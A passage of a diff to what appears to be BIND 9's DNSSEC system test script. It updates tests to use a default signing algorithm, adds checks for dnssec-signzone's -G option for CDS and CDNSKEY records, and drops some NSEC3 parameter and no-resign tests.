+get_default_algorithm_key_ids_from_sigs $zone | grep "^$keyid3$" > /dev/null || ret=1
 n=$((n+1))
 test "$ret" -eq 0 || echo_i "failed"
 status=$((status+ret))
@@ -1615,8 +1767,8 @@ ret=0
 cd signer || exit 1
 $SIGNER -SDQ -o example example.db > /dev/null
 ) || ret=1
-get_rsasha1_key_ids_from_sigs | grep "^$keyid2$" > /dev/null && ret=1
-get_rsasha1_key_ids_from_sigs | grep "^$keyid3$" > /dev/null || ret=1
+get_default_algorithm_key_ids_from_sigs $zone | grep "^$keyid2$" > /dev/null && ret=1
+get_default_algorithm_key_ids_from_sigs $zone | grep "^$keyid3$" > /dev/null || ret=1
 n=$((n+1))
 test "$ret" -eq 0 || echo_i "failed"
 status=$((status+ret))
@@ -1719,8 +1871,12 @@ $SIGNER -O raw -f signer.out.5 -Sxt -o example example.db > /dev/null
 $SIGNER -O raw=0 -f signer.out.6 -Sxt -o example example.db > /dev/null
 $SIGNER -O raw -f - -Sxt -o example example.db > signer.out.7 2> /dev/null
 ) || ret=1
-awk '/IN *SOA/ {if (NF != 11) exit(1)}' signer/signer.out.3 || ret=1
-awk '/IN *SOA/ {if (NF != 7) exit(1)}' signer/signer.out.4 || ret=1
+awk 'BEGIN { found = 0; }
+     $1 == "example." && $3 == "IN" && $4 == "SOA" { found = 1; if (NF != 11) exit(1); }
+     END { if (!found) exit(1); }' signer/signer.out.3 || ret=1
+awk 'BEGIN { found = 0; }
+     $1 == "example." && $3 == "IN" && $4 == "SOA" { found = 1; if (NF != 7) exit(1); }
+     END { if (!found) exit(1); }' signer/signer.out.4 || ret=1
 israw1 signer/signer.out.5 || ret=1
 israw0 signer/signer.out.6 || ret=1
 israw1 signer/signer.out.7 || ret=1
@@ -1753,6 +1909,140 @@ n=$((n+1))
 test "$ret" -eq 0 || echo_i "failed"
 status=$((status+ret))
 
+echo_i "checking dnssec-signzone -G ($n)"
+ret=0
+(
+cd signer || exit 1
+$SETTIME -P ds now -P sync now "$key1" > /dev/null
+$SIGNER -G "cdnskey,cds:sha384" -O full -S -f signer.out.$n -o example example2.db > /dev/null
+) || ret=1
+test $(awk '$4 == "CDNSKEY" { print }' signer/signer.out.$n | wc -l) -eq 1 || ret=1
+test $(awk '$4 == "CDS" && $7 == "2" { print }' signer/signer.out.$n | wc -l) -eq 0 || ret=1
+test $(awk '$4 == "CDS" && $7 == "4" { print }' signer/signer.out.$n | wc -l) -eq 1 || ret=1
+n=$((n+1))
+test "$ret" -eq 0 || echo_i "failed"
+status=$((status+ret))
+
+echo_i "checking dnssec-signzone -G (default) ($n)"
+ret=0
+(
+cd signer || exit 1
+$SIGNER -O full -S -f signer.out.$n -o example example2.db > /dev/null
+) || ret=1
+test $(awk '$4 == "CDNSKEY" { print }' signer/signer.out.$n | wc -l) -eq 1 || ret=1
+test $(awk '$4 == "CDS" && $7 == "2" { print }' signer/signer.out.$n | wc -l) -eq 1 || ret=1
+test $(awk '$4 == "CDS" && $7 == "4" { print }' signer/signer.out.$n | wc -l) -eq 0 || ret=1
+n=$((n+1))
+test "$ret" -eq 0 || echo_i "failed"
+status=$((status+ret))
+
+echo_i "checking dnssec-signzone -G (empty) ($n)"
+ret=0
+(
+cd signer || exit 1
+$SIGNER -G "" -O full -S -f signer.out.$n -o example example2.db > /dev/null
+) || ret=1
+test $(awk '$4 == "CDNSKEY" { print }' signer/signer.out.$n | wc -l) -eq 0 || ret=1
+test $(awk '$4 == "CDS" && $7 == "2" { print }' signer/signer.out.$n | wc -l) -eq 0 || ret=1
+test $(awk '$4 == "CDS" && $7 == "4" { print }' signer/signer.out.$n | wc -l) -eq 0 || ret=1
+n=$((n+1))
+test "$ret" -eq 0 || echo_i "failed"
+status=$((status+ret))
+
+echo_i "checking dnssec-signzone -G (no CDNSKEY) ($n)"
+ret=0
+(
+cd signer || exit 1
+$SIGNER -G "cds:sha-256,cds:sha384" -O full -S -f signer.out.$n -o example example2.db > /dev/null
+) || ret=1
+test $(awk '$4 == "CDNSKEY" { print }' signer/signer.out.$n | wc -l) -eq 0 || ret=1
+test $(awk '$4 == "CDS" && $7 == "2" { print }' signer/signer.out.$n | wc -l) -eq 1 || ret=1
+test $(awk '$4 == "CDS" && $7 == "4" { print }' signer/signer.out.$n | wc -l) -eq 1 || ret=1
+n=$((n+1))
+test "$ret" -eq 0 || echo_i "failed"
+status=$((status+ret))
+
+echo_i "checking dnssec-signzone -G (no CDS) ($n)"
+ret=0
+(
+cd signer || exit 1
+$SIGNER -G "cdnskey" -O full -S -f signer.out.$n -o example example2.db > /dev/null
+) || ret=1
+test $(awk '$4 == "CDNSKEY" { print }' signer/signer.out.$n | wc -l) -eq 1 || ret=1
+test $(awk '$4 == "CDS" && $7 == "2" { print }' signer/signer.out.$n | wc -l) -eq 0 || ret=1
+test $(awk '$4 == "CDS" && $7 == "4" { print }' signer/signer.out.$n | wc -l) -eq 0 || ret=1
+n=$((n+1))
+test "$ret" -eq 0 || echo_i "failed"
+status=$((status+ret))
+
+echo_i "checking dnssec-signzone -G (suppress duplicates) ($n)"
+ret=0
+(
+cd signer || exit 1
+$SIGNER -G "cdnskey,cds:sha256,cds:sha256,cdnskey" -O full -S -f signer.out.$n -o example example2.db > /dev/null
+) || ret=1
+test $(awk '$4 == "CDNSKEY" { print }' signer/signer.out.$n | wc -l) -eq 1 || ret=1
+test $(awk '$4 == "CDS" && $7 == "2" { print }' signer/signer.out.$n | wc -l) -eq 1 || ret=1
+test $(awk '$4 == "CDS" && $7 == "4" { print }' signer/signer.out.$n | wc -l) -eq 0 || ret=1
+n=$((n+1))
+test "$ret" -eq 0 || echo_i "failed"
+status=$((status+ret))
+
+echo_i "checking dnssec-signzone -G (bad argument) ($n)"
+ret=0
+(
+cd signer || exit 1
+$SIGNER -G "cdnskey,foobar" -O full -S -f signer.out.$n -o example example2.db 2> signer.err.$n && ret=1
+grep "digest must specify cds:algorithm ('foobar')" signer.err.$n > /dev/null || ret=1
+)
+n=$((n+1))
+test "$ret" -eq 0 || echo_i "failed"
+status=$((status+ret))
+
+echo_i "checking dnssec-signzone -G (bad digest - name) ($n)"
+ret=0
+(
+cd signer || exit 1
+$SIGNER -G "cdnskey,cds:foobar" -O full -S -f signer.out.$n -o example example2.db 2> signer.err.$n && ret=1
+grep "bad digest 'cds:foobar'" signer.err.$n > /dev/null || ret=1
+)
+n=$((n+1))
+test "$ret" -eq 0 || echo_i "failed"
+status=$((status+ret))
+
+echo_i "checking dnssec-signzone -G (bad digest - number) ($n)"
+ret=0
+(
+cd signer || exit 1
+$SIGNER -G "cdnskey,cds:256" -O full -S -f signer.out.$n -o example example2.db 2> signer.err.$n && ret=1
+grep "bad digest 'cds:256': out of range" signer.err.$n > /dev/null || ret=1
+)
+n=$((n+1))
+test "$ret" -eq 0 || echo_i "failed"
+status=$((status+ret))
+
+echo_i "checking dnssec-signzone -G (unsupported digest - name) ($n)"
+ret=0
+(
+cd signer || exit 1
+$SIGNER -G "cdnskey,cds:gost" -O full -S -f signer.out.$n -o example example2.db 2> signer.err.$n && ret=1
+grep "unsupported digest 'cds:gost'" signer.err.$n > /dev/null || ret=1
+)
+n=$((n+1))
+test "$ret" -eq 0 || echo_i "failed"
+status=$((status+ret))
+
+echo_i "checking dnssec-signzone -G (unsupported digest - number) ($n)"
+ret=0
+(
+cd signer || exit 1
+$SIGNER -G "cdnskey,cds:200" -O full -S -f signer.out.$n -o example example2.db 2> signer.err.$n && ret=1
+grep "unsupported digest 'cds:200'" signer.err.$n > /dev/null || ret=1
+)
+n=$((n+1))
+test "$ret" -eq 0 || echo_i "failed"
+status=$((status+ret))
+
 echo_i "checking validated data are not cached longer than originalttl ($n)"
 ret=0
 dig_with_opts +ttl +noauth a.ttlpatch.example. @10.53.0.3 a > dig.out.ns3.test$n || ret=1
@@ -1772,7 +2062,7 @@ keyid=$(cat ns1/managed.key.id)
 rndccmd 10.53.0.4 secroots 2>&1 | sed 's/^/ns4 /' | cat_i
 cp ns4/named.secroots named.secroots.test$n
 check_secroots_layout named.secroots.test$n || ret=1
-linecount=$(grep -c "./${DEFAULT_ALGORITHM}/$keyid ; static" named.secroots.test$n || true)
+linecount=$(grep -c "./$DEFAULT_ALGORITHM/$keyid ; static" named.secroots.test$n || true)
 [ "$linecount" -eq 1 ] || ret=1
 linecount=$(< named.secroots.test$n wc -l)
 [ "$linecount" -eq 10 ] || ret=1
@@ -2078,7 +2368,7 @@ status=$((status+ret))
 ret=0
 
 echo_i "killing ns4 with SIGTERM"
-$KILL -TERM "$(cat ns4/named.pid)"
+kill -TERM "$(cat ns4/named.pid)"
 rm -f ns4/named.pid
 
 #
@@ -2090,7 +2380,7 @@ echo_i "waiting till 14s have passed since NTAs were added before restarting ns4
 $PERL -e 'my $delay = '"$start"' + 14 - time(); select(undef, undef, undef, $delay) if ($delay > 0);'
 
 if
-    start_server --noclean --restart --port "$PORT" dnssec ns4
+    start_server --noclean --restart --port "$PORT" ns4
 then
     echo_i "restarted server ns4"
 else
@@ -2140,7 +2430,7 @@ grep "status: SERVFAIL" dig.out.ns4.test$n.2 > /dev/null && ret=1
 grep "flags:[^;]* ad[^;]*;" dig.out.ns4.test$n.2 > /dev/null || ret=1
 
 echo_i "killing ns4 with SIGTERM"
-$KILL -TERM "$(cat ns4/named.pid)"
+kill -TERM "$(cat ns4/named.pid)"
 rm -f ns4/named.pid
 
 echo_i "sleeping for an additional 4 seconds for ns4 to fully shutdown"
@@ -2156,7 +2446,7 @@ echo "secure.example. regular $future" > ns4/_default.nta
 start=$($PERL -e 'print time()."\n";')
 
 if
-    start_server --noclean --restart --port "$PORT" dnssec ns4
+    start_server --noclean --restart --port "$PORT" ns4
 then
     echo_i "restarted server ns4"
 else
@@ -2198,7 +2488,7 @@ grep "status: SERVFAIL" dig.out.ns4.test$n.2 > /dev/null && ret=1
 grep "flags:[^;]* ad[^;]*;" dig.out.ns4.test$n.2 > /dev/null || ret=1
 
 echo_i "killing ns4 with SIGTERM"
-$KILL -TERM "$(cat ns4/named.pid)"
+kill -TERM "$(cat ns4/named.pid)"
 rm -f named.pid
 
 echo_i "sleeping for an additional 4 seconds for ns4 to fully shutdown"
@@ -2212,7 +2502,7 @@ echo "secure.example. forced $future" > ns4/_default.nta
 start=$($PERL -e 'print time()."\n";')
 
 if
-    start_server --noclean --restart --port "$PORT" dnssec ns4
+    start_server --noclean --restart --port "$PORT" ns4
 then
     echo_i "restarted server ns4"
 else
@@ -2246,7 +2536,7 @@ n=$((n+1))
 echo_i "testing loading out of bounds lifetime from NTA file ($n)"
 
 echo_i "killing ns4 with SIGTERM"
-$KILL -TERM "$(cat ns4/named.pid)"
+kill -TERM "$(cat ns4/named.pid)"
 rm -f ns4/named.pid
 
 echo_i "sleeping for an additional 4 seconds for ns4 to fully shutdown"
@@ -2260,7 +2550,7 @@ echo "secure.example. forced $future" > ns4/_default.nta
 added=$($PERL -e 'print time()."\n";')
 
 if
-    start_server --noclean --restart --port "$PORT" dnssec ns4
+    start_server --noclean --restart --port "$PORT" ns4
 then
     echo_i "restarted server ns4"
 else
@@ -2353,8 +2643,8 @@ if $PERL -e 'use Net::DNS;' 2>/dev/null
 then
     echo_i "running DNSSEC update test"
     ret=0
-    output=$($PERL dnssec_update_test.pl -s 10.53.0.3 -p "$PORT" dynamic.example.)
-    test "$?" -eq 0 || ret=1
+    { output=$($PERL dnssec_update_test.pl -s 10.53.0.3 -p "$PORT" dynamic.example.); rc=$?; } || true
+    test "$rc" -eq 0 || ret=1
     echo "$output" | cat_i
     [ $ret -eq 1 ] && status=1
 else
@@ -2371,7 +2661,10 @@ status=$((status+ret))
 
 # Reconfigure caching server to use "dnssec-validation auto", and repeat
 # some of the DNSSEC validation tests to ensure that it works correctly.
+# Also setup a placeholder managed-keys zone to check if named can process it
+# correctly.
 echo_i "switching to automatic root key configuration"
+cp ns4/managed-keys.bind.in ns4/managed-keys.bind
 copy_setports ns4/named2.conf.in ns4/named.conf
 rndccmd 10.53.0.4 reconfig 2>&1 | sed 's/^/ns4 /' | cat_i
 sleep 5
@@ -2470,8 +2763,7 @@ status=$((status+ret))
 echo_i "checking that the NSEC3 record for the apex is properly signed when a DNSKEY is added via UPDATE ($n)"
 ret=0
 (
-cd ns3 || exit 1
-kskname=$($KEYGEN -q -3 -a RSASHA1 -fk update-nsec3.example)
+kskname=$($KEYGEN -q -3 -a $DEFAULT_ALGORITHM -fk update-nsec3.example)
 (
 echo zone update-nsec3.example
 echo server 10.53.0.3 "$PORT"
@@ -2482,12 +2774,12 @@ echo send
 dig_with_opts +dnssec a update-nsec3.example. @10.53.0.4 > dig.out.ns4.test$n || ret=1
 grep "NOERROR" dig.out.ns4.test$n > /dev/null || ret=1
 grep "flags:.* ad[ ;]" dig.out.ns4.test$n > /dev/null || ret=1
-grep "NSEC3 .* TYPE65534" dig.out.ns4.test$n > /dev/null || ret=1
+grep "NSEC3 1 0 0 - .*" dig.out.ns4.test$n > /dev/null || ret=1
 n=$((n+1))
 test "$ret" -eq 0 || echo_i "failed"
 status=$((status+ret))
 
-echo_i "checking that the NSEC record is properly generated when DNSKEY are added via auto-dnssec ($n)"
+echo_i "checking that the NSEC record is properly generated when DNSKEY are added by dnssec-policy ($n)"
 ret=0
 dig_with_opts +dnssec a auto-nsec.example. @10.53.0.4 > dig.out.ns4.test$n || ret=1
 grep "NOERROR" dig.out.ns4.test$n > /dev/null || ret=1
@@ -2497,7 +2789,7 @@ n=$((n+1))
 test "$ret" -eq 0 || echo_i "failed"
 status=$((status+ret))
 
-echo_i "checking that the NSEC3 record is properly generated when DNSKEY are added via auto-dnssec ($n)"
+echo_i "checking that the NSEC3 record is properly generated when DNSKEY are added by dnssec-policy ($n)"
 ret=0
 dig_with_opts +dnssec a auto-nsec3.example. @10.53.0.4 > dig.out.ns4.test$n || ret=1
 grep "NOERROR" dig.out.ns4.test$n > /dev/null || ret=1
@@ -2510,7 +2802,6 @@ status=$((status+ret))
 echo_i "checking that signing records have been marked as complete ($n)"
 ret=0
 checkprivate dynamic.example 10.53.0.3 || ret=1
-checkprivate update-nsec3.example 10.53.0.3 || ret=1
 checkprivate auto-nsec3.example 10.53.0.3 || ret=1
 checkprivate expiring.example 10.53.0.3 || ret=1
 checkprivate auto-nsec.example 10.53.0.3 || ret=1
@@ -2550,148 +2841,13 @@ n=$((n+1))
 test "$ret" -eq 0 || echo_i "failed"
 status=$((status+ret))
 
-echo_i "check that 'rndc signing -nsec3param' without additional arguments is handled ($n)"
-ret=0
-rndccmd 10.53.0.3 signing -nsec3param > /dev/null 2>&1 && ret=1
-rndccmd 10.53.0.3 status > /dev/null || ret=1
-n=$((n+1))
-test "$ret" -eq 0 || echo_i "failed"
-status=$((status+ret))
-
-echo_i "check that 'rndc signing -nsec3param none' without zone is handled ($n)"
-ret=0
-rndccmd 10.53.0.3 signing -nsec3param none > /dev/null 2>&1 && ret=1
-rndccmd 10.53.0.3 status > /dev/null || ret=1
-n=$((n+1))
-test "$ret" -eq 0 || echo_i "failed"
-status=$((status+ret))
-
-echo_i "check that 'rndc signing -nsec3param 1' without additional arguments is handled ($n)"
-ret=0
-rndccmd 10.53.0.3 signing -nsec3param 1 > /dev/null 2>&1 && ret=1
-rndccmd 10.53.0.3 status > /dev/null || ret=1
-n=$((n+1))
-test "$ret" -eq 0 || echo_i "failed"
-status=$((status+ret))
-
-echo_i "check that 'rndc signing -nsec3param 1 0' without additional arguments is handled ($n)"
-ret=0
-rndccmd 10.53.0.3 signing -nsec3param 1 0 > /dev/null 2>&1 && ret=1
-rndccmd 10.53.0.3 status > /dev/null || ret=1
-n=$((n+1))
-test "$ret" -eq 0 || echo_i "failed"
-status=$((status+ret))
-
-echo_i "check that 'rndc signing -nsec3param 1 0 0' without additional arguments is handled ($n)"
-ret=0
-rndccmd 10.53.0.3 signing -nsec3param 1 0 0 > /dev/null 2>&1 && ret=1
-rndccmd 10.53.0.3 status > /dev/null || ret=1
-n=$((n+1))
-test "$ret" -eq 0 || echo_i "failed"
-status=$((status+ret))
-
-echo_i "check that 'rndc signing -nsec3param 1 0 0 -' without zone is handled ($n)"
-ret=0
-rndccmd 10.53.0.3 signing -nsec3param 1 0 0 - > /dev/null 2>&1 && ret=1
-rndccmd 10.53.0.3 status > /dev/null || ret=1
-n=$((n+1))
-test "$ret" -eq 0 || echo_i "failed"
-status=$((status+ret))
-
-echo_i "check that 'rndc signing -nsec3param' works with salt ($n)"
-ret=0
-rndccmd 10.53.0.3 signing -nsec3param 1 0 0 ffff inline.example > /dev/null 2>&1 || ret=1
-rndccmd 10.53.0.3 status > /dev/null || ret=1
-for i in 1 2 3 4 5 6 7 8 9 10 ; do
-        salt=$(dig_with_opts +nodnssec +short nsec3param inline.example. @10.53.0.3 | awk '{print $4}')
-	if [ "$salt" = "FFFF" ]; then
-		break;
-	fi
-	echo_i "sleeping ...."
-	sleep 1
-done;
-[ "$salt" = "FFFF" ] || ret=1
-n=$((n+1))
-test "$ret" -eq 0 || echo_i "failed"
-status=$((status+ret))
-
-echo_i "check that 'rndc signing -nsec3param' works without salt ($n)"
-ret=0
-rndccmd 10.53.0.3 signing -nsec3param 1 0 0 - inline.example > /dev/null 2>&1 || ret=1
-rndccmd 10.53.0.3 status > /dev/null || ret=1
-for i in 1 2 3 4 5 6 7 8 9 10 ; do
-	salt=$(dig_with_opts +nodnssec +short nsec3param inline.example. @10.53.0.3 | awk '{print $4}')
-	if [ "$salt" = "-" ]; then
-		break;
-	fi
-	echo_i "sleeping ...."
-	sleep 1
-done;
-[ "$salt" = "-" ] || ret=1
-n=$((n+1))
-test "$ret" -eq 0 || echo_i "failed"
-status=$((status+ret))
-
-echo_i "check that 'rndc signing -nsec3param' works with 'auto' as salt ($n)"
-ret=0
-rndccmd 10.53.0.3 signing -nsec3param 1 0 0 auto inline.example > /dev/null 2>&1 || ret=1
-rndccmd 10.53.0.3 status > /dev/null || ret=1
-for i in 1 2 3 4 5 6 7 8 9 10 ; do
-	salt=$(dig_with_opts +nodnssec +short nsec3param inline.example. @10.53.0.3 | awk '{print $4}')
-	[ -n "$salt" ] && [ "$salt" != "-" ] && break
-	echo_i "sleeping ...."
-	sleep 1
-done;
-[ "$salt" != "-" ] || ret=1
-[ "${#salt}" -eq 16 ] || ret=1
-n=$((n+1))
-test "$ret" -eq 0 || echo_i "failed"
-status=$((status+ret))
-
-echo_i "check that 'rndc signing -nsec3param' with 'auto' as salt again generates a different salt ($n)"
-ret=0
-oldsalt=$salt
-rndccmd 10.53.0.3 signing -nsec3param 1 0 0 auto inline.example > /dev/null 2>&1 || ret=1
-rndccmd 10.53.0.3 status > /dev/null || ret=1
-for i in 1 2 3 4 5 6 7 8 9 10 ; do
-	salt=$(dig_with_opts +nodnssec +short nsec3param inline.example. @10.53.0.3 | awk '{print $4}')
-	[ -n "$salt" ] && [ "$salt" != "$oldsalt" ] && break
-	echo_i "sleeping ...."
-	sleep 1
-done;
-[ "$salt" != "$oldsalt" ] || ret=1
-[ "${#salt}" -eq 16 ] || ret=1
-n=$((n+1))
-test "$ret" -eq 0 || echo_i "failed"
-status=$((status+ret))
-
 echo_i "check rndc signing -list output ($n)"
 ret=0
-{ rndccmd 10.53.0.3 signing -list dynamic.example > signing.out; } 2>&1
-grep -q "No signing records found" signing.out || {
-        ret=1
-        sed 's/^/ns3 /' signing.out | cat_i
-}
-{ rndccmd 10.53.0.3 signing -list update-nsec3.example > signing.out; } 2>&1
-grep -q "Done signing with key .*/NSEC3RSASHA1" signing.out || {
+{ rndccmd 10.53.0.3 signing -list dynamic.example > signing.out.dynamic.example; } 2>&1
+grep -q "No signing records found" signing.out.dynamic.example || {
         ret=1
-        sed 's/^/ns3 /' signing.out | cat_i
-}
-n=$((n+1))
-test "$ret" -eq 0 || echo_i "failed"
-status=$((status+ret))
-
-echo_i "clear signing records ($n)"
-{ rndccmd 10.53.0.3 signing -clear all update-nsec3.example > /dev/null; } 2>&1 || ret=1
-check_no_signing_record_found() {
-  { rndccmd 10.53.0.3 signing -list update-nsec3.example > signing.out; } 2>&1
-  grep -q "No signing records found" signing.out || {
-    sed 's/^/ns3 /' signing.out | cat_i
-    return 1
-  }
-  return 0
+        sed 's/^/ns3 /' signing.out.dynamic.example | cat_i
 }
-retry_quiet 5 check_no_signing_record_found || ret=1
 n=$((n+1))
 test "$ret" -eq 0 || echo_i "failed"
 status=$((status+ret))
@@ -2758,40 +2914,6 @@ n=$((n+1))
 test "$ret" -eq 0 || echo_i "failed"
 status=$((status+ret))
 
-echo_i "check that NOTIFY is sent at the end of NSEC3 chain generation ($n)"
-ret=0
-(
-echo zone nsec3chain-test
-echo server 10.53.0.2 "$PORT"
-echo update add nsec3chain-test. 0 nsec3param 1 0 1 123456
-echo send
-) | $NSUPDATE
-for i in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
-do
-	dig_with_opts nsec3param nsec3chain-test @10.53.0.2 > dig.out.ns2.test$n || ret=1
-	if grep "ANSWER: 3," dig.out.ns2.test$n >/dev/null
-	then
-		break;
-	fi
-	echo_i "sleeping ...."
-	sleep 3
-done
-grep "ANSWER: 3," dig.out.ns2.test$n > /dev/null || ret=1
-if [ "$ret" -ne 0 ]; then echo_i "nsec3 chain generation not complete"; fi
-dig_with_opts +noauth +nodnssec soa nsec3chain-test @10.53.0.2 > dig.out.ns2.test$n || ret=1
-s2=$(awk '$4 == "SOA" { print $7}' dig.out.ns2.test$n)
-for i in 1 2 3 4 5 6 7 8 9 10
-do
-	dig_with_opts +noauth +nodnssec soa nsec3chain-test @10.53.0.3 > dig.out.ns3.test$n || ret=1
-	s3=$(awk '$4 == "SOA" { print $7}' dig.out.ns3.test$n)
-	test "$s2" = "$s3" && break
-	sleep 1
-done
-digcomp dig.out.ns2.test$n dig.out.ns3.test$n || ret=1
-n=$((n+1))
-test "$ret" -eq 0 || echo_i "failed"
-status=$((status+ret))
-
 echo_i "check dnssec-dsfromkey from stdin ($n)"
 ret=0
 dig_with_opts dnskey algroll. @10.53.0.2 | \
@@ -2808,8 +2930,8 @@ awk '{
 	for (i=1;i<7;i++) printf("%s ", $i);
 	for (i=7;i<=NF;i++) printf("%s", $i);
 	printf("\n");
-}' < ns1/dsset-algroll$TP > canonical2.$n || ret=1
-$DIFF -b canonical1.$n canonical2.$n > /dev/null 2>&1 || ret=1
+}' < ns1/dsset-algroll. > canonical2.$n || ret=1
+diff -b canonical1.$n canonical2.$n > /dev/null 2>&1 || ret=1
 n=$((n+1))
 test "$ret" -eq 0 || echo_i "failed"
 status=$((status+ret))
@@ -2818,7 +2940,7 @@ status=$((status+ret))
 # includes it anyway to avoid confusion (RT #21731)
 echo_i "check dnssec-dsfromkey error message when keyfile is not found ($n)"
 ret=0
-key=$($KEYGEN -a RSASHA1 -q example.) || ret=1
+key=$($KEYGEN -a $DEFAULT_ALGORITHM -q example.) || ret=1
 mv "$key.key" "$key"
 $DSFROMKEY "$key" > dsfromkey.out.$n 2>&1 && ret=1
 grep "$key.key: file not found" dsfromkey.out.$n > /dev/null || ret=1
@@ -2826,53 +2948,23 @@ n=$((n+1))
 test "$ret" -eq 0 || echo_i "failed"
 status=$((status+ret))
 
-echo_i "testing soon-to-expire RRSIGs without a replacement private key ($n)"
+echo_i "check dnssec-dsfromkey with revoked key ($n)"
 ret=0
-dig_with_answeropts +nottlid expiring.example ns @10.53.0.3 | grep RRSIG > dig.out.ns3.test$n 2>&1
-# there must be a signature here
-[ -s dig.out.ns3.test$n ] || ret=1
+dig_with_opts revkey.example dnskey @10.53.0.4 > dig.out.ns4.test$n || ret=1
+grep "DNSKEY.256 3 13" dig.out.ns4.test$n > /dev/null || ret=1	# ZSK
+grep "DNSKEY.385 3 13" dig.out.ns4.test$n > /dev/null || ret=1	# revoked KSK
+grep "DNSKEY.257 3 13" dig.out.ns4.test$n > /dev/null || ret=1	# KSK
+test $(awk '$4 == "DNSKEY" { print }' dig.out.ns4.test$n | wc -l) -eq 3 || ret=1
+$DSFROMKEY -f dig.out.ns4.test$n revkey.example. > dsfromkey.out.test$n || ret=1
+test $(wc -l < dsfromkey.out.test$n) -eq 1 || ret=1
 n=$((n+1))
 test "$ret" -eq 0 || echo_i "failed"
-status=$((status+ret))
-
-echo_i "testing new records are signed with 'no-resign' ($n)"
-ret=0
-(
-echo zone nosign.example
-echo server 10.53.0.3 "$PORT"
-echo update add new.nosign.example 300 in txt "hi there"
-echo send
-) | $NSUPDATE
-sleep 1
-dig_with_answeropts +nottlid txt new.nosign.example @10.53.0.3 \
-        > dig.out.ns3.test$n 2>&1
-grep RRSIG dig.out.ns3.test$n > /dev/null 2>&1 || ret=1
-n=$((n+1))
-test "$ret" -eq 0 || echo_i "failed"
-status=$((status+ret))
-
-echo_i "testing expiring records aren't resigned with 'no-resign' ($n)"
-ret=0
-dig_with_answeropts +nottlid nosign.example ns @10.53.0.3 | \
-        grep RRSIG | sed 's/[ 	][ 	]*/ /g' > dig.out.ns3.test$n 2>&1
-# the NS RRSIG should not be changed
-$DIFF nosign.before dig.out.ns3.test$n > /dev/null|| ret=1
-n=$((n+1))
-test "$ret" -eq 0 || echo_i "failed"
-status=$((status+ret))
 
-echo_i "testing updates fail with no private key ($n)"
+echo_i "testing soon-to-expire RRSIGs without a replacement private key ($n)"
 ret=0
-rm -f ns3/Knosign.example.*.private
-(
-echo zone nosign.example
-echo server 10.53.0.3 "$PORT"
-echo update add fail.nosign.example 300 in txt "reject me"
-echo send
-) | $NSUPDATE > /dev/null 2>&1 && ret=1
-dig_with_answeropts +nottlid fail.nosign.example txt @10.53.0.3 \
-        > dig.out.ns3.test$n 2>&1
-[ -s dig.out.ns3.test$n ] && ret=1
+dig_with_answeropts +nottlid expiring.example ns @10.53.0.3 | grep RRSIG > dig.out.ns3.test$n 2>&1
+# there must be a signature here
+[ -s dig.out.ns3.test$n ] || ret=1
 n=$((n+1))
 test "$ret" -eq 0 || echo_i "failed"
 status=$((status+ret))
@@ -2880,7 +2972,7 @@ status=$((status+ret))
 echo_i "testing legacy upper case signer name validation ($n)"
 ret=0
 $DIG +tcp +noadd +noauth +dnssec -p "$PORT" soa upper.example @10.53.0.4 \
-        > dig.out.ns4.test$n 2>&1
+        > dig.out.ns4.test$n 2>&1 || ret=1
 grep "flags:.* ad;" dig.out.ns4.test$n > /dev/null || ret=1
 grep "RRSIG.*SOA.* UPPER\\.EXAMPLE\\. " dig.out.ns4.test$n > /dev/null || ret=1
 n=$((n+1))
@@ -2890,7 +2982,7 @@ status=$((status+ret))
 echo_i "testing that we lower case signer name ($n)"
 ret=0
 $DIG +tcp +noadd +noauth +dnssec -p "$PORT" soa LOWER.EXAMPLE @10.53.0.4 \
-        > dig.out.ns4.test$n 2>&1
+        > dig.out.ns4.test$n 2>&1 || ret=1
 grep "flags:.* ad;" dig.out.ns4.test$n > /dev/null || ret=1
 grep "RRSIG.*SOA.* lower\\.example\\. " dig.out.ns4.test$n > /dev/null || ret=1
 n=$((n+1))
@@ -3148,26 +3240,7 @@ n=$((n+1))
 test "$ret" -eq 0 || echo_i "failed"
 status=$((status+ret))
 
-echo_i "check simultaneous inactivation and publishing of dnskeys removes inactive signature ($n)"
-ret=0
-cnt=0
-while :
-do
-dig_with_opts publish-inactive.example @10.53.0.3 dnskey > dig.out.ns3.test$n
-keys=$(awk '$5 == 257 { print; }' dig.out.ns3.test$n | wc -l)
-test "$keys" -gt 2 && break
-cnt=$((cnt+1))
-test "$cnt" -gt 120 && break
-sleep 1
-done
-test "$keys" -gt 2 || ret=1
-sigs=$(grep -c RRSIG dig.out.ns3.test$n || true)
-n=$((n+1))
-test "$sigs" -eq 2 || ret=1
-if test "$ret" -ne 0 ; then echo_i "failed"; fi
-status=$((status+ret))
-
-echo_i "check that increasing the sig-validity-interval resigning triggers re-signing ($n)"
+echo_i "check that increasing the signatures-validity resigning triggers re-signing ($n)"
 ret=0
 before=$($DIG axfr siginterval.example -p "$PORT" @10.53.0.3 | grep RRSIG.SOA)
 cp ns3/siginterval2.conf ns3/siginterval.conf
@@ -3184,17 +3257,17 @@ if test "$before" = "$after" ; then echo_i "failed"; ret=1; fi
 status=$((status+ret))
 
 if [ -x "$PYTHON" ]; then
-    echo_i "check dnskey-sig-validity sets longer expiry for DNSKEY ($n)"
+    echo_i "check signatures-validity-dnskey sets longer expiry for DNSKEY ($n)"
     ret=0
     rndccmd 10.53.0.3 sign siginterval.example 2>&1 | sed 's/^/ns3 /' | cat_i
     # convert expiry date to a comma-separated list of integers python can
     # use as input to date(). strip leading 0s in months and days so
     # python3 will recognize them as integers.
-    $DIG +dnssec +short -p "$PORT" @10.53.0.3 soa siginterval.example > dig.out.soa.test$n
+    $DIG +dnssec +short -p "$PORT" @10.53.0.3 soa siginterval.example > dig.out.soa.test$n || ret=1
     soaexpire=$(awk '$1 ~ /SOA/ { print $5 }' dig.out.soa.test$n |
 	       sed 's/\(....\)\(..\)\(..\).*/\1, \2, \3/' |
 	       sed 's/ 0/ /g')
-    $DIG +dnssec +short -p "$PORT" @10.53.0.3 dnskey siginterval.example > dig.out.dnskey.test$n
+    $DIG +dnssec +short -p "$PORT" @10.53.0.3 dnskey siginterval.example > dig.out.dnskey.test$n || ret=1
     dnskeyexpire=$(awk '$1 ~ /DNSKEY/ { print $5; exit 0 }' dig.out.dnskey.test$n |
 		  sed 's/\(....\)\(..\)\(..\).*/\1, \2, \3/' |
 		  sed 's/ 0/ /g')
@@ -3290,16 +3363,10 @@ do
 	    alg=$((alg+1))
 	    continue;;
 	1|5|7|8|10) # RSA algorithms
-	    key1=$($KEYGEN -a "$alg" -b "1024" -n zone "$zone" 2> "keygen-$alg.err" || true)
